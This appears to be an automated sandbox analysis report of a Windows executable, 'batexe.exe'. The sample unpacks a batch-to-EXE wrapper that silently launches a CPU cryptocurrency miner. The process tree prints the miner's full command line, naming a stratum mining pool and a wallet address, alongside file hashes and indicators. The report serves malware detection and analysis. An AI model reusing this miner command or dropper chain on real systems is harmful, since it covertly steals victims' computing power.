73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 22:22

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2740	b2e.exe
2144	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2144	cpuminer-sse2.exe
2144	cpuminer-sse2.exe
2144	cpuminer-sse2.exe
2144	cpuminer-sse2.exe
2144	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4664-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 2740	4664	batexe.exe	74
PID 4664 wrote to memory of 2740	4664	batexe.exe	74
PID 4664 wrote to memory of 2740	4664	batexe.exe	74
PID 2740 wrote to memory of 592	2740	b2e.exe	75
PID 2740 wrote to memory of 592	2740	b2e.exe	75
PID 2740 wrote to memory of 592	2740	b2e.exe	75
PID 592 wrote to memory of 2144	592	cmd.exe	78
PID 592 wrote to memory of 2144	592	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A42F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:592
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe

Filesize
1.2MB

MD5
7b0f4c1d8506067fce25df5de733bcb7

SHA1
053b618c2012c6895e9709696395951acf15c165

SHA256
dd9a3eca69a73709146ebc228a433e0fef43ab6c12c2280725d798c7b494216a

SHA512
45ca44d04c436082073475b0bec73cdd3df1f0cc670d9a3d5dd77fc2b3b60ef870af5912d27269107222850b07234060eefb2d272b96de1367ff544cac506618

Download Submit
C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe

Filesize
1.8MB

MD5
fed226671f9daab029aaea0c1bf6c527

SHA1
bacded51e7bf4d82a756351748d561b93e5d56ba

SHA256
e7bed9d6ba6c3e79ef43fb8bf34f6748645e87d47c743fc8ead2ad2003a41304

SHA512
d25d032e623e053e35bf23ba71a5432f3ac3b31eeaf9810352d0561d05e8335837ed0afee8cc0008fb1915646912ca08f134ef9e4aac9170aa63d6a254b57fa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\A42F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
448KB

MD5
ca0b33f54480aa9c590d09f72e3feb31

SHA1
d50dc7dd964feb0d7516c3037e7dc7e008420ae5

SHA256
67833a9e63d8b7469a3a3415124a2426893a6174ce2bd88bea520c68319d182d

SHA512
266dcd9c5bfe2b117fda6bf7c4250a908233d8474bd0b09596a0bd0fa2e5bc75446a20b46cb7e516ef75b5661bbe16c714e8dcc5962a0f481cbaecdf6135affd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
192KB

MD5
d73b46cd072058efc54c4b3885f47e13

SHA1
84771c2c4f5736ac08497737cba2a8634d9e9178

SHA256
3f62bb203bdcca4e489401897e0558cf33ad6fe890a9987f90f5c3894b965b34

SHA512
519c91b5b5a82c5a755d7d4295c040cfb6b0f029eb088a6bfc428db11e30d7f954ea6fd6de9b083d1781e1142737ea39572866ab5f669848dff7ef0ce34c79c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
256KB

MD5
1d86b9560854472453237bcbaa2e253f

SHA1
5a03a7902d250377a3e9f746badcb696e2c98228

SHA256
1493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d

SHA512
afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
64KB

MD5
6cccf65bd7d7ff5b53aeb882e15c462c

SHA1
a9822b63ad70c6085ed1deda0fbe4bc5fe555f3d

SHA256
1379cd6111c2c37cf16f2dd9b325118513e85c35543ba45e79deb504dd4c01d2

SHA512
c174b5f8615131c2b86c57aee166744ee1fe02ff7c916195f2fde06684f467545a3fa4f88083335e2045d12727d774279dc8672ec352de3095b729aa5d1dedcb

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
42KB

MD5
5336e65b1909dcaf75b82677e9e17d68

SHA1
8f3c3b512ab1825626dd8695030855274d524717

SHA256
9913ae3652d6837ec4851a249858cd9fa472adcd773ca17e407b6813be6f11e2

SHA512
6905bb8d96402ef1c9ff383436e5c7c3e148919e55a50de01f7ae115990993b1e45ab9d5ff08f54484dcfd483c1c4bca6b50a89a5844e47afb803145fc93c05e

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.5MB

MD5
bcd7b30a6ab741701eb0a680af1d752b

SHA1
0ccf3c9042bd919dc5e13518cbf79740134d3fa1

SHA256
a509a8d316fbb66ad02d9498f05e98506da3d665f0c93a2be16d9a8f7de56e67

SHA512
84444a382df4e6b80f1b813fd95be5cf114da4ddad155ad1b211514c3e2fdbe11437843dd2c0e170f3e5028ce94cb1909cd30b6f60239531c98d3e5d3839ae10

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.8MB

MD5
13531abcff0d819e8adcee719d61d5f3

SHA1
4897a2bd65acf7510b3a19d18a2d614c1bef90f2

SHA256
4b511f0263eb9991702ca633df226e5a6cc51d34143d3ad128ba20ad6677bce9

SHA512
6c28c88af3f011ef852f6d10c0840b313ac75b74fb9e21fc2626351bf1ee9b67ceb9e37affadae07b834f708eae63ae2cdf8627b335861e03ae9f9c31bc6e11d

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
42KB

MD5
61da3dda4e5628888964b1af36f949ff

SHA1
ccab8f373c0a095beb3b59ffa677bac8946a5294

SHA256
9f815d0e501ab587cc87083f0cd6ce3f272b4181ef110f8f4bcc52162df64f7f

SHA512
9ad983ae20984ee6b46690573fbeda54071dac7ef71e01a016c4dcff68530ba21b3d7307fcd9a7ba7a53d283fa334d16647fbd5e5c3879d7540513648bfd5658

Download Submit
memory/2144-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2144-53-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2144-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2144-43-0x0000000067BF0000-0x0000000067C88000-memory.dmp

Filesize
608KB

Download
memory/2144-44-0x0000000001070000-0x0000000002925000-memory.dmp

Filesize
24.7MB

Download
memory/2144-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2740-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2740-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4664-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download